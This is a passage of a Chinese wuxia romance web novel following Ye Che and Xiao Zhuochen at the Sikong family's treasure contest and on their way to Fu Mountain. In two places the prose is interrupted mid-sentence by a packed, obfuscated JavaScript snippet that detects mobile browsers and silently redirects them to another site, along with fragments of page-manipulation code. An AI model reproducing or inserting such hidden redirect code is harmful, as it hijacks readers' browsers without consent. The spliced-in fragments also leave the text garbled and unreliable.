他说得有理有据,断定面前人无法反驳,萧灼尘倒是不在意,只是夺回那杯茶也喝一口:“给我奉的茶,你喝什么?” 叶澈目瞪口呆看着他,莫名想起小时候这人睡一觉就得换一套衣服,捏着鼻子嫌臭的娇贵劲儿,这是长大后洁癖都治好了?萧灼尘见他呆愣住,冷哼道:“想喝自己倒。” 叶澈见他喝得自然,到底没将“我喝过的”这句话说出,老实给自己再倒了一杯。 两人坐了片刻,楼上传来摔门的声音,不一会一女子怒气冲冲下楼,是那个叫方令冰的姑娘,身后跟着钱林和其他几人,一堆人前呼后拥出了门,楼里霎时安静下来。 大概是店小二上楼找了赖凤时,叶澈见他探头看了一眼便闪回屋里,又等了会才下楼。 还是那熟悉的花里胡哨的装扮,身上的宝珠少了许多,衣服还是华丽得很,叶澈看着他走近才说:“凤时,我猜你的衣服应该占了行李的一半。” 赖凤时满脸骄傲看过来:“要不说还是你有眼光,差不多吧,你们怎么会一起来?” 叶澈故意道:“萧灼尘都承认你俩一伙的了,你还装?” 赖凤时惊讶看向萧灼尘:“你不是说……”在对方冰冷无语的眼神中,他反应过来,怒向叶澈:“你怎么天天只想着套我话。” 叶澈忍不住笑道:“他没否认,那不就是承认,凤时,知道也没事,你是我的好朋友,知己。” 在京城时赖凤时总是三天两头就叫人知己,这会也让他体会一把被“知己”噎住的好笑,叶澈笑得正欢,就听萧灼尘开口:“那我是你的什么?” 叶澈笑容僵在脸上:“什么?” 萧灼尘却已经扭过脸直奔主题:“我们要去司空府,有合适的珍宝吗?” 赖凤时去而又返,捧着个祥云环绕的方盒回来,他小心翼翼打开盖子,里面装了件拳头大小的金色发冠,金丝和珠宝镂空勾勒出复杂的花纹和图案,两侧以凤凰模样盘旋向上,薄如蝉翼的羽毛边缘随着他的动作微微抖动,华丽又精致。 赖凤时满意地看着叶澈合不拢嘴的模样:“方令冰那丫头刚才就是跟我吵这个,她想代表我拿这个去凑热闹,我当然不能答应她,毛手毛脚,别还没到司空府就给我弄坏,这可是我很不错的珍品。” 叶澈收回自己没见过世面的目光,问道:“你不去,是因为苗大人吗?” “差不多”,赖凤时有些含糊,将方盒推到他们面前,“反正有你们,我去不去无所谓,这东西送你了。” 豪放之气仿佛送出的是棵白菜,叶澈默默挪向一边,太贵重的礼物,他可受不住,萧灼尘察觉到他的小动作,瞥他一眼顺手揣进怀里:“你不去,他们还去吗?” 赖凤时郑重点头:“根本拦不住,有空的话记得照看下他们。” 萧灼尘没吭声,叶澈犹豫一下还是插嘴道:“毕竟不是真的去玩,司空府如果有危险,恐怕难以保护这么多人的周全。” 赖凤时无奈摇头:“他们知道,初生牛犊不怕虎,他们说了,有问题的话就更应该去,也算是为君分忧。” 萧灼尘冷哼一声,倒是没有说话,叶澈见状也不好再劝,他望一眼楼上:“苗大人愿意见我吗?” 赖凤时:“下次吧,他现在行动没那么方便,等好点了再来。” 说着似乎想起什么,他语气变得轻快:“过两天我带他去符山转转,那边空气好,等你们回来他应该能走了。” 叶澈也不强求,见萧灼尘也没有其他嘱咐的话两人便离开了客栈。 霍都的天黑得快,两人往回走时街边已经点起了灯笼。 黑云压过来有冰凉的东西飘在脸上,叶澈伸手抹一把,下雪了,他习惯性咳两声,再下几场雪就该过年了,也不知到时候他和棠溪是不是还在这里,没等他想太多,叶澈身上一重,他转眼看下身边皱着眉头将大氅盖在自己身上的人。 叶澈一时无话:“不用,我不……”他穿得很厚,身上也有披风,还没有冷到要别人衣服的程度。 萧灼尘已经打断他:“感冒误事,以后出门多穿点,又像之前那样病晕了怎么办。” 已经穿很多的叶澈语塞,只得低声说:“一般来说,不会那样的。”要不是他故意,他不会病得那么严重,这话不宜再提,叶澈拢了拢还带着温度的衣服:“多谢。” 两人走了一段,雪渐渐大起来,萧灼尘前后望了一眼,四周无人,想找辆马车一时半会都没有地儿,叶澈只当这人不想冒雪前行,点了点不远处已经闭店的商铺:“去那躲会?” 萧灼尘看他一眼:“娇气。”人已经朝空着的屋檐下走去。 叶澈无语,他有什么娇气的,这么点雪他都能在野外睡觉,这位少爷自己不想走了还赖上别人,叶澈重重叹口气,跟着走了过去。 大雪无声,不知是哪里传来孩童的零碎笑声,片刻后又重新陷入安静,叶澈目光游移在路边屋里漏出的烛光,轻声说:“大人,尹源真的死了吗?” 这个问题他想问很久,只是找不到合适的机会,那人死了吗?那些肮脏事结束了吗?被拐骗走的男男女女回家了吗?叶澈不敢问,苗若歌落得如此下场,他曾经对皇城萌生过的信心彻底被失望淹没,他帮不了任何人,连问一声的勇气都是趁着夜黑偷来的。 萧灼尘正仰头看着漫天飞雪,闻言侧脸看向身边人,叶澈整个人裹在他的大氅里只露出大半张脸,平日里灵气十足的眼神似乎也蒙上了雪,朦朦胧胧看不清,他索性半靠在身后的柱子上端详,语气平淡:“死了,我看着他死的,两家店的老板下狱后交待了这些年的买卖,藏起来的账本也交了上来,那些人,下狱、流放、银钱上缴,不会有好下场。” 不是所有人都被抓出来,即便是尹源,在被押送上京的路上,面对他时也是坦荡又无畏,尹源说不是觉得会有人救他 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见他还是不疾不徐的速度,叶澈拿人没办法,让他走又不走,一起走又嫌自己慢,叶澈眯了眯眼,顺手拢起手边的雪,捏成团后朝人肩头一扔,萧灼尘脚步一滞,缓缓转身,叶澈已经笑道:“忘记跟大人说,我箭术不错,有机会切磋切磋。” 眼前飘过的雪花带着柔和的光泽,落在叶澈发间,又经过眉间顺势向下,衬得叶澈眼里的笑意格外明显,萧灼尘在他灼灼目光里察觉到心脏在发烫,他不自觉软了语气:“你真的不能生病。” 叶澈感觉自己一拳打在了棉花上,气是出了总觉得有点不得劲,他笑了笑,加快脚步:“是是是,快走快走。” 萧灼尘看着他连蹦带走的模样,忍不住摇头笑了笑,没留神自己眉眼里的温柔,只迈大步子跟了上去。 两人回到客栈时叶澈抖了抖身上的雪,将大氅还回去时只见萧灼尘一抬手:“接着。” 叶澈伸手接住后往回兜,是赖凤时的那个盒子,叶澈震惊看向他,这人也丢得太随意了,摔坏了怎么办! 像是看懂他的指责,萧灼尘笑道:“盒子有暗扣,没那么容易摔开。” 这大概就是富贵人家的习惯,叶澈表情复杂的往自己屋里走:“以后你们想扔东西记得叫我一声。”以后他和棠溪哪里还需要找金矿,直接捡这些人的垃圾就好,大概都能捡到宝。 进屋后叶澈将盒子轻轻放好打开,这才发现开关处有里外两处暗扣嵌合,小发冠也是被牢牢固定在里面,确认东西没问题他才松口气,叶澈刚将东西收好,门外传来敲门声,小二在门口。 店小二端着汤碗,身后跟着一人托着衣服,在叶澈疑问的目光中放下后挤眉弄眼道:“这是姜汤,萧公子特意吩咐我们小厨房做的,还有这件斗篷,他今天出门前让我找城里的顶好的师傅加急做的。” 托着衣服的人将面前的斗篷展开,黑色的毛皮光泽感十足,看得出是上好的毛皮。 可他又不缺衣服,叶澈在小二有些暧昧的眼神里找回理智:“还有事吗?” 小二懂事地放下东西就走,叶澈转身拎着斗篷敲响了萧灼尘的门,霜刀来开的门,叶澈气势汹汹的质问不得不转变:“你们在忙?” 萧灼尘的声音传来:“进来说,怎么了?” 见叶澈拎着斗篷,他又问:“怎么,不喜欢?” 萧灼尘神情太过正经,叶澈有一瞬间怀疑自己是不是想太多,语气也弱了些:“不是,小二说你是特意让人做的?” 萧灼尘一脸理所当然反问:“我不让人做,难道要自己做?” 叶澈被他的话搅乱思绪,讲话也卡顿一下:“不是,我是说,我有衣服。” 萧灼尘:“这种毛皮御寒防风,效果很好,你没有。” 叶澈被这话一噎,彻底没了脾气,他叹了口气:“你说得对,但无功不受禄,你……” 萧灼尘皱了皱眉:“若是不喜欢不想要,直说无妨。” 直说?说那小二眼神奇怪?说他们现在没有在扮演小倌儿与大人?说他怀疑萧灼尘是不是喜欢男人? 叶澈无话可说,他挤出笑容:“喜欢,谢谢大人,你们忙,早点休息。” 总归只是件衣服,他也不是第一次收萧灼尘的衣服,都怪那行事古怪的小二,叶澈抱着斗篷回房,早知道应该先问问赖凤时,断袖是不是会传染的?那他以后会不会也喜欢男人?叶澈想着想着注意力便被手下的柔软吸引过去,领口的绒毛温暖细腻,手感确实好。 萧灼尘听着屋外没有其它动静才收回心思,霜刀走近问道:“小二说姜汤有多的,您要不要也喝一碗。” 萧灼尘冷眼横看:“我什么时候需要过姜汤?” 霜刀不敢吱声,就听总爱发脾气的公子又说:“看来这衣服他不喜欢,下次你问问他喜欢什么?” 没等他说话萧灼尘又自顾自开口:“算了,我自己问。” 霜刀看一眼自家公子严肃思考的模样,忽然生出一股不对劲的感觉,人家都不喜欢做什么还要送?不送不就行了。 萧灼尘抬眼:“看什么?” 霜刀不想送上门找骂,他呈上传来的信:“名单上其他人清理得差不多。” 萧灼尘扫过名字:“司空仓死后,就将那些东西都带给叶澈。” 霜刀低声问:“若是他不愿意做呢?” 萧灼尘面色淡淡:“他会的。” 18. 等待进入网审 雪下了一夜,叶澈几人踩着积雪到司空府时门前已经排了长龙,他早听说来的人多,但没想到这种天气下还有这么多人,他低声说:“是不是因为今天是七日之限的最后一天,人比想象得还要多。” 萧灼尘跟在他身后没说话,司空仓大费周章举办大会,找这么多人来凑热闹,没安好心。 霜刀回他:“可能,昨天都没这么多人。” 他们三人以叶澈为首跟在队伍后面,没一会他们身后也排上了其他人,叶澈瞧着人群前面的身影有些眼熟,黑色剑鞘背在身后,他瞧了几眼才反应过来,这不是刚进城时在大堂见过的那个江湖人?没想到他也是奔着司空府来的。 萧灼尘凑近问:“认识的?” 叶澈摇头:“不认识,进城后看见过。” 萧灼尘也没再说话,只细细打量前面的人,那人似乎察觉到什么,偏头来看,萧灼尘已经错开眼神又对叶澈轻声说:“前面十个人里,至少有一半都是练家子,进府后不要擅自行动。” 萧灼尘离得很近,温热的气息扑在颈侧,叶澈微微侧身:“要不是你让我来我都不会来,你不要乱跑才对。” 萧灼尘有些好笑的戳穿他:“赖凤时说你是找人路过这里,你找的人不在司空府?”叶澈不会被他的唬人话吓到,那么爽快答应他,恐怕是早就打算要上门一趟。 叶澈心虚扭头:“这可不好说,找到了才知道。”棠溪的事没必要瞒着他,多两个人多两双眼。 司空府的人速度很快,叶澈几人等了半个时辰便进了前厅,一进门就被眼前的琉璃晃了眼,两人高的大块琉璃墙和不同大小的铜镜让整间屋子变得迷宫般失去方向,叶澈他们在安排下往右走,他留意到这些琉璃和铜镜迷惑了人的视线,若是有人此刻进门,看到他们的背影,大概是在向前直走。 叶澈有心打探:“这挺有趣,你们为什么会想到这样放置铜镜?” 领着他们的下人笑着摇摇头,一句话都没说,只是继续往前走。 叶澈和萧灼尘对视一眼,进府之人除了宝物其他兵器都不能带,那个剑客的东西都被留在了厅外,如今入了府,府里下人们几乎都不搭腔,这司空苍,也不知在卖什么关子。 下人领着他们到地方后便离开了,这是个多人住的四方小院,有人热情招呼他们:“你怎么来这么晚!” 叶澈顺着声音回头,是方令冰和钱林,方令冰还是一身男装,有些得意地站定在叶澈面前:“今天的装扮怎么样?” 女相男装,叶澈冷静评判:“一眼就能看出。” 方令冰垮了脸,她出门前对着镜子前后左右仔细看过,既不前凸也不后翘,脸上也故意抹黑了些,怎么可能一眼能看出,她不服气:“到底是哪里有问题?” 萧灼尘冷冷开口:“女人的眼神,女人的走路姿态,哪里没有问题。” 他语气又凶又硬,叶澈直觉这位少爷心情不佳,正要开口打个圆场方令冰已经骂回来:“又没问你,自己的钱不用,只知道威胁凤时哥哥,走狗。” 她骂得难听,叶澈伸手拦道:“姑娘,我不喜欢你这么辱骂我的朋友,这里毕竟是别人的地盘,想必凤时也嘱咐过你,他的话没有错,你的易装水平还需要再精进些。” 萧灼尘没想到这人会为他出头,不由得瞥他一眼没再说话。 方令冰愣在原地,来之前赖凤时确实叮嘱过她万事小心,若真遇到事就找叶澈帮忙,她还以为叶澈是个很好相处的人,这会被两人接连说了几句,她抿了抿嘴一扭身便回了屋,男人没有一个好东西,都不分好歹! 钱林跟着她走了两步,又折身回来,微微抱拳:“她没有坏心思,就是讲话不好听,大人……” 萧灼尘打断他的话:“我跟着叶澈来的,如无必要,你们可以对我视而不见。” 叶澈也好心提醒:“看热闹事小,自身的安全才是第一,你们做事谨慎些。” 话已至此,多说无益,钱林了然点点头也回了屋,叶澈这才转头看向身边人:“你被人骂怎么没反应?经常被人骂吗?” 公主的走狗,奴才,萧家的耻辱,京城里骂的人多了去了,萧灼尘从帮着公主做事开始身边的闲言碎语就没断过,只是害怕他的铁血手腕,没有人敢当面说他,萧灼尘确实不在意这么个小丫头片子的话。 见面前人表情认真,萧灼尘突然起了玩心:“要不是你说得快,我应该会把她骂死,你忍心吗?” 叶澈看他还能开玩笑,知道他没往心里去,也不再纠结,他们要掩人耳目,故意让方令冰误会他抢人东西,倒是担得起骂,就是难听了些,叶澈摆摆手:“算了,小姑娘口无遮拦,你别跟人计较。” 萧灼尘没看到预想的反应,有些可惜:“姑娘都十八了,也该懂事。” 叶澈:“厉害啊,你连人年纪都知道。” 萧灼尘:“谢谢夸奖。” 霜刀站在原地看着两人幼稚的斗着嘴进了屋,觉得自己精神恍惚,公子何时变得这么碎嘴?这还是他熟悉的那个公子吗? 司空府规矩虽多,待人却很周到,屋里温暖舒服,饭菜也很可口,第二日叶澈睡到下人敲门时才醒。他们到庭院时前方已经站满了人,中间空出的位置是一块凸起的大石块,石块层层内凹,最外边立着一圈放大镜,连石粒上的斑点都看得清晰。 叶澈四处张望,没有发现棠溪的身影,有一面具半遮面男子站在附近,看着时辰差不多便开口:“诸位,在下司空影,负责本次鉴宝大会。” 司空影声音沙哑,像是生锈的菜刀在磨刀石上慢推,难听又难受,前边的人不由得后退两步,叶澈瞅着空拽着萧灼尘往里进了些,司空影还在继续说:“既为鉴宝,持宝人自身的眼力功夫也得过关。由于本次大会参加的人过多,为免有失偏颇,家主将不参与第二轮的评选,今日通过评选的人,将分批进入符山寻宝,我们将宝物已经藏在符山,能够根据线索到达终点的人,即通过第二轮的评选。” 话音刚落,众人哗然,这是又变了规则,叶澈压低声音随口说:“司空家这个大会办得挺随心。”人都进来了才告知规则有变,若是不接受那便自行离去,看上去尊重人实际上就差把“爱来不来”写脸上了。 有人嚷道:“那你们本地的岂不是很有优势,不公平!” 司空影转向发声处:“符山被皇室封锁过十多年,本地人也没有资格上山,若是觉得不公平也可以现在退出。” 嚷嚷的声音小了些,司空影便开始说评选的具体标准,叶澈又往身边挪过去:“符山现在能光明正大上去?”他和棠溪商量着来符山时,那会都只打算悄摸上山,这会听司空影的意思,他能让人直接上山。 萧灼尘看了一眼为了不让别人听到他们的话已经快钻到他怀里的人,低头轻声说:“一直可以,只是不对外说,有钱就可以。” 叶澈惊讶回头,这才发现两人距离太近,他站直身子,思绪乱飞,他们之前怀疑逍遥阁就在符山附近,如今才知道符山从没真正封禁过,那棠溪的掘金梦还是有可能的?还有这个司空府,这么明目张胆的上符山,是逍遥阁的人? 他又瞧了瞧周围黑压压的人头,没有找到棠溪,叶澈心中微沉,这丫头不会在司空府知道这个消息后直接去了符山吧? 那头司空影已经说完全部规则,指引着人们一一上前勘宝,第一个上去的是名女子,她拿出方方正正的金块放在石块上,叶澈看得清楚,真的是一块平平无奇的金子,司空影朝着反方向看了几秒,才出声拒绝:“未通过。” 叶澈顺着他的视线瞧了好一会才发现空中有蛛丝般的细线,勾住了悬挂在树上的灯笼,灯笼是白色时司空影便说没通过,红色时便是通过,萧灼尘也留意到了那个灯笼,他看了几眼才说:“机关术。” 这个院子周围的小楼门窗紧闭,鉴宝人就是躲在其中的屋里,叶澈奇怪问:“鉴宝人这么见不得人?” 萧灼尘也觉得有问题,给了霜刀一个眼神,霜刀了然往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶澈一边留心着台上周围的人,一边还留出半个耳朵听他们的动静,等萧灼尘安排完再过来时,他才说:“我要在这看会,你想休息就先回房。” 萧灼尘“嗯”着应了一声,找了个舒服的地儿坐下等他。 等到下午已经走了大半人,叶澈终于在人群中发现棠溪的身影,她没注意到他,倒是石忘忧看了他一眼,又白着眼转了个方向,叶澈无语,有些焦虑的心也终于放回肚子,人都没事就好。 萧灼尘看热闹不嫌事大地凑过来:“原来你在找的是堂妹,可惜,堂妹好像有人陪,不需要你。” 他还敢提,叶澈瞪他一眼,要不是他横插一脚,他和棠溪早就在符山跑了个来回,他们手里拿着的是个金钗,普普通通,司空影面无表情:“不通过。” 棠溪似乎想说些什么,石忘忧拉着她说了句话便向外走,见他们走出视线,叶澈安下心,石忘忧再讨厌他,也不会让棠溪冒险,想必是已经告诉她关于自己的消息。 叶澈松了口气,这才觉得肚子饿得紧,他看一眼始终站在石头边的司空影,若不想这些古怪之处,这人倒是极有韧性的人才。 两人并肩往回走,叶澈临走前又扫一眼还在等着鉴定的人,奇道:“和尚也来?看来出家人也不是四大皆空。” 萧灼尘闻言看过去,突然站定仔细瞧了瞧那个在角落等着的和尚,叶澈见他如此,问道:“认识?” 萧灼尘迟疑道:“骥州城的赵观航你知道吗?” 这些年势力发展最快,用兵如神的起义军领头之一,叶澈点点头:“没听过他是个和尚。” 萧灼尘:“他用人唯才,不问出身,听说手下有一游僧,专为他在百姓中布道,收拢人心。” 有人曾给他送过这僧人画像,跟那和尚有些相像,萧灼尘收敛表情:“没事,可能是我想多,回去再说。” 叶澈又扫一眼,那和尚正好看过来,他便笑笑,两人隔空合十,他跟上萧灼尘,若这和尚真是那个游僧,这司空府,他还真是来对了! 19. 牧春 近些年各地起义纷乱不断,虽说几乎都被成功镇压,也有一些起义者闯出了名声,赵观航就是声名最旺的那个,他几次从危险中突围,又善用兵将。当今陛下以杀人为对付叛乱的唯一手段,赵观航占据过的地方不劳民伤财,专挑城中富商地主,平民百姓们口口相传,倒也给人搏了个好名声。 现在听来,或许有那游僧的功劳,叶澈想到那个和尚,不由盘算起今日被送走的那些人,想着想着忽觉不对,看的时候没太注意,现在细想下来,不通过的那些人都有女眷,或是本身就是女人,是故意还是巧合? 叶澈想着想着,渐渐困意上头,直觉有些不对,可人已经疲乏至极,就这么昏睡过去。 再一次被敲门声惊起时,他应了声门便在屋里四下巡视,找了几圈都没发现迷香类的东西,难道是饭菜? 萧灼尘在门口久等不见人,索性推门而入,只见叶澈撅着腚趴在地上,弧线明显,他反手关上门:“你在找什么?” 叶澈回身就地坐下:“他们下了迷香,可我没有找到,你没发现吗?” 萧灼尘抱手靠在门边没说话,见他一副看好戏的模样,叶澈惊道:“你早知道?怎么没说?” 萧灼尘走近将旁边的衣服扔给他,这才开口:“来的第一天就知道,不完全是迷香,安眠香里混了一点点,对人无害。” 他习武多年,又常出入公主府邸,刚到司空府就查看过房间的香料,品质上好,多是安神静心为主,萧灼尘确认无事便没提,这会见他恼怒的样子才说:“有些人家用香时确实会刻意选些功效强点的,若是不喜欢开窗散散就不会有作用,怎么了?” 为了避免受凉,叶澈进屋后就没开过窗,难怪他觉得自己睡挺好,叶澈后知后觉,这会也不知道是气自己反应迟钝还是气这人发现了也不说,只好闷头穿衣没再说话。 萧灼尘揣摩着这人脸色:“你不喜欢香?” 叶澈走到桌边,灌下一口冷茶才说:“没有,我只是想到那些离开了的人,他们有个共同的特点。” 他正要将自己的怀疑说出,萧灼尘突然拉过他的手,摇了摇头。 叶澈被他吓一跳,想抽回手就见这人在掌心写了个字,似乎是“等”,见他往地下使了个眼色,叶澈没懂他的意思,但也看出大概是这里不适合谈话,便配合道:“算了,走了也不关我的事,我有点饿,吃早餐吧。” 萧灼尘牵着他往外走,两人出了房门后走到无人处萧灼尘才说:“这两天我在府里探过,夜里巡视的下人不多,连我们白天去过的小院也没看守,这司空府多机关,我觉得地底可能另有乾坤。” 原来是怀疑房间下有其他通道,叶澈自认已足够谨慎,没想到这人更甚,接连栽了两回他讪讪说出自己的发现:“司空府好像在刻意区分男女,昨天没通过的那些人几乎都有女人。” 萧灼尘眼观八方,细听叶澈的话,注意力却被手中柔软的触感吸引走,他曾亲手扎过这双手,修长柔软却又骨节分明,他知道叶澈的手好看,当时怎么会扎的下去?应该很疼,他淡淡想着,无意识摩挲了一下,似乎这样便能缓解当初的狠心。 被他有老茧的手磨过,叶澈才发现两人还牵着手,他猛地抽回手,就听见面前人突然说道:“你怪我吗?” 刚想责骂的话便被哽住,叶澈丈二摸不着头脑:“怪什么?” 萧灼尘拾起他的手,又轻轻摸了摸指头处便松开:“我下手才能保证不扎到你的要害,毕竟十指连心,应该很疼。” 这人没有继续再说,叶澈却突然有股无名火,大清早在他手上摸来摸去,就为了翻这种老黄历,他都不知道自己是不是该直接给他一拳,他没好气道:“你有病,现在是准备让我扎回去吗?” 被他一骂,萧灼尘从游离的状态里回过神,认真笑道:“以后有机会的话,现在没东西可以扎。” 叶澈无语走开,心里还是觉得有些怪,男人之间摸摸手也没事,他自我安慰,就是这人摸手的方式太黏腻了,来来回回招人闹心。 因着这事,直到他们出发去符山前叶澈都没再跟萧灼尘说过话。 司空府将剩下的人五人一马车依次送往符山,叶澈上车后发现那位剑客已经坐在角落,如此有缘,叶澈点头示意,那人却只抬眼看他并无动作。 叶澈也无所谓,他对这人有印象,对方可能第一次正经看他,倒是萧灼尘皱眉看了他一眼,也不知是不满他无端端给对方打招呼,还是不满对方的冷漠。 他们上车后又上了两人,看穿着是商人打扮,那两人一上车便自顾坐在一边,连半个眼神都没分给车里的人。 这次的符山寻宝,司空影没有给任何信息,只说入夜后自然就知道开始,经过第一轮的评选,留下的人都自觉将其他人视为对手,互相提防也是人之常情。 叶澈无心在这些事上再费心,棠溪已经寻到,再有任何发现都是此行的意外收获,他心态放得平稳,就等萧灼尘办好自己的事。 想到这他扭脸看向身边人,这人说要找司空仓讨东西,现如今司空家的人都没见过几个,趁夜探府也没有结果,也不知道是何打算?他看见这人睫羽忽动,来不及挪开眼就直直撞进这人眉眼里,萧灼尘早已不是初见时的阴郁模样,但大多时候都是沉着目光,一双眼比潭水还深,勾住了人便不肯放,似乎要一起下沉。 叶澈瞧见这人沉静的眼神里忽然多了点笑意,这才艰难转眼看向别处,萧灼尘被他欲盖弥彰的动作逗笑,似乎又听得见血液逆流的声音,呼吸都变得明显,这人就这么喜欢自己吗?萧灼尘想放开笑,又觉得这样不好,便顺着马车摇晃歪头倒向叶澈。 叶澈在那剑客瞥来的眼神里身子一僵,还来不及推开身边人就听他呢喃着“好困”,叶澈低头看去,这人闭着眼倒真像是要睡会,犹犹豫豫间已经错失推开人的时机,叶澈心一横,便也干脆闭上眼休息。 感受到头顶处传来的热量,萧灼尘无声笑开,调整了靠着的姿势,两人就这么半依偎着在马车里闭目养神。 马车将他们送到符山山脚处便离开,离入夜还有一段时间,众人三三两两聚在避风处等待天黑,叶澈看到那和尚正在打坐,轻轻推了推萧灼尘的胳膊便走去,他笑问:“大师是自己来的吗?” 和尚闻声看向他们,起身微躬:“在下四处云游,见这热闹非凡,便来看看。” 叶澈拍手道:“我们也是,我叫叶澈,是个酒馆老板,这是……我大哥,不知道大师怎么称呼?” 和尚身份不明,还是不要暴露萧灼尘的名号才好,叶澈没想好这人的诨名,只好先以兄弟相称,他回头给萧灼尘使了个眼色,让他自己随便说个名字,这人却毫不配合:“对,我是他哥哥,叶春。” 和尚笑了笑:“贫僧法号若失,两位公子气质出尘,不像商人,更像世家公子。” 叶澈故作得意:“我们常听人这么说,若失道长,你到处溜达,都去过哪些好玩的地方?” 若失看上去和善好说话,面对叶澈的各种问题却总是顾左右而言他,一番有来有回的寒暄过后,叶澈没有打探到太多有用的消息,甚至连这法号都有可能是对方胡诌的,唯一确定的便是若失拿了个小金佛来司空府。 两人找了个无人处休息,叶澈半捂着嘴嘟囔:“这个若失道长,嘴风紧得很。” 萧灼尘不在意地拨弄着手里的树枝:“无妨,他就是赵观航身边的那个人,王天放。” 离得近便看得更清,这和尚就是画像里的那个人。 “你怎么知道?”叶澈问,“说起来我一直想问,你明明是公主的人,可说起这些四处叛乱的人时,怎么这么淡定?”这些叛乱之人损害的是当今皇室的利益,说是死对头也不为过,可萧灼尘提到这些人和事时毫无波澜,甚至能品出点欣赏的意思。 再想起沣水城的事,叶澈凑近些轻声问:“你真的是公主的人吗?” 萧灼尘手下一顿,看着他回道:“我这条命是公主救回来的,如果她想要,我可以给她。” 他在世上已无亲人,公主对他有救命之恩,养育之情,他没得选。 面前人说得认真,叶澈心中咯噔作响,有种突然撞破他人誓言的难堪,他尴尬笑着后退一步:“我随便说说,你别往心里去。” 有些事说起来太臭太长,萧灼尘直觉他是误会了自己的意思,想了想才说:“幼时我家中遭难,是公主派人护着我长大,我很尊敬她。” 当年萧灼尘拖着病躯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14529739|154769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回到京城时,萧府满门只剩他一人,父母的后事,那些想要他命的人,全都被公主安排妥当,恩情无法偿还,这些年他是自愿做了公主的刀。 叶澈低低“嗯”了一声没再说话,募地想起那时候两人逃亡时也是以兄弟相称,他不想面前人沉入不好的回忆,便换了话题:“我俩长得不像,你还不如直接借霜刀的名字一用。” 萧灼尘见他不想再聊也随他,淡淡笑道:“你不是说我是哥哥,自然要一个姓。” “我说的是大哥。”叶澈不想跟他在这个话上纠缠,也不知是不是他心思重,总觉得萧灼尘嘴里的“哥哥”听上去怪怪的。 不想萧灼尘却不放过他,低声道:“怎么?我跟周月学的,哥哥,你不喜欢?” 叶澈觉得耳根发热,他猛地站起身:“你,不是,我是,那个。” 他支支吾吾半天也没说出个所以然,总不能说是他觉得萧灼尘的“哥哥”有点不正经的意思,叶澈憋到最后只是说:“随你,反正我叫你大哥。” 萧灼尘笑着拽过他坐下,拔下金簪放在他手心:“有外人的时候叫我牧春吧,是我的字,没人知道。” 那是母亲给他的名字,小时候只有父母会这样叫他,后来他没跟任何人说过这个名字,刚才因着叶澈想起当年的片段时,他忽然很想再听人这样叫,面前这个远离朝堂,闯荡江湖多年却还有着侠义之胆的人是最好的选择。 叶澈注意力转移到金簪上:“做什么?” 萧灼尘一手托住簪头,一手托住簪杆,反方向轻轻旋转两圈,只听“咔”的一声,金簪沿着杆身上的纹路分成三瓣,露出中空的内杆,萧灼尘只是轻轻展示给他看一眼,又转回去合成完好无损的金簪。 他边弄边说:“按住这个凸起的头部,这里会有毒针分出,用力向后推这个位置,淬了毒的小刀会从簪尾出来,平时拿起时轻一些,就不会误触,毒针只有三根,万一有意外情况,保护好自己。” 叶澈连连点头,等他话音刚落就立刻戴到头上,这暗器太好了,以后他也得找人做一个。 看着面前一脸喜色的人,萧灼尘准备劝说的话咽了回去,他以为这人收件衣服都得三请四请的,这个东西他得费劲口舌才能劝人收下,他看着这人小心翼翼簪上后的满意模样,忍不住笑道:“原来你喜欢暗器。” 大部分时候面前人头上都只是简单插个树枝或是发带,这会戴上金簪显得整个人也金贵许多,萧灼尘暗想,以后可以给他打一套合适的贴身暗器,想必这人得高兴坏。 叶澈眉眼弯弯:“当然!暗器多好使,我箭术不错,可弓箭这种东西太显眼,没那么方便。暗器就不同,出其不意攻其不备,不过你这个也有点显眼,万一被贼人顺走就太亏了。” 银钩门曾特意招揽过身怀绝技的匠人,就希望能给不会武功的门众,尤其是叶澈本人打造趁手的武器,可惜他们太穷,还没研究出来就因为银库告急不得不停下打造暗器的生意。 想到这叶澈脸色一变:“先说好,你这个要是被人抢了可不能找我赔。” 萧灼尘轻笑道:“送人的东西,任你处置。” 送他?叶澈犹豫着往头上摸,不是借他先自保,出山了就还回去吗? 萧灼尘见他动作抬手制止:“簪好了就别乱动,别还没杀敌就自损。” “哦”,叶澈老实开口,“我不用这么显眼的东西,到时候还你。” 萧灼尘看他一眼:“不想要现在就还我。” 又能射针又能出刀,叶澈迟疑,他还没使过功能这么多的暗器,他有一点点舍不得。 见他真要取下簪子,萧灼尘才敛了笑意:“这东西对我不贵重,留着吧。” 叶澈一连串假动作收回手,顺坡就下:“谢谢大人。” 萧灼尘拧眉看向他:“大人?” 这位大人似乎又要生气,叶澈察言观色,快速反应:“谢谢牧春哥。” 萧灼尘:“没有外人不用叫哥。” 叶澈:“……” 吃人嘴短拿人手软,叶澈抱拳谢道:“谢谢萧灼尘,萧兄,牧春,可以吗?” 萧灼尘笑着点点头,如果这世上还有人能以牧春的名字叫他,他希望这个人是叶澈。 20. 符山 入夜后,陷入黑暗的符山多了条路,幽幽发着光,叶澈看着众人三三两两沿路向上:“山上夜黑易生变,司空家是想让大家互斗?” 萧灼尘搓掉指尖的磷石粉:“反正没安好心,看看就知道了。” 山间的黑不比街市,高大的山体在月光下阴影重重,像是躲在黑暗中蓄势待发的野兽,风声穿林呜咽,比平日的夜可怖过万分,两人没走几步就见有人已经停下来,似乎正在争执要不要继续向前。 叶澈挥着树枝在前边开路,萧灼尘跟在他身后留心周边情况,两人无惊无险地走到岔路口,磷光闪烁,指向两个方向,叶澈看向身边人:“想选哪个?” 一条沿着主路向上,一条是开始起伏的小路,萧灼尘无所谓:“你定。” 